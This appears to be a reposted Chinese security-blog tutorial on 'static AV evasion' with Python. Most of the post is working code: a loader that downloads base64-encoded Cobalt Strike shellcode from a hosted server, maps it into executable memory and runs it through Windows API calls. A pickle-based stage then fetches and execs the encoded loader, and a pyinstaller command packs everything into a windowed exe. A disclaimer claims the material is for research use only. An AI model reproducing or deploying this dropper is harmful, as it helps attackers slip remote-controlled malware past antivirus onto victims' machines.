本文我们再来看看利用python进行静态免杀吧!
先用CS生成 shellcode 把shellcode进行加密放在里面并存放到服务器。python
BS64
shellcode.txt
这里为了方便,我们直接放到了kali的apache目录下。并启动Apache
service apache2 start
修改加载器的服务器地址后进行一次BS64加密,然后把代码放在loader.txt里面并存放到服务器
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.5.38/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
再次利用python编码
#-*- coding : utf-8-*-
#coding:unicode_escape
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://192.168.5.38/loader.txt').read()
#sectr=str(sectr,'UTF-8')
#print(sectr)
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
def __reduce__(self):
return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
修改服务器地址后使用打包成exe可执行文件pyinstaller
pyinstaller -F -w py_ma.py
效果
原文始发于微信公众号(kali黑客笔记):浅谈Python静态免杀
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论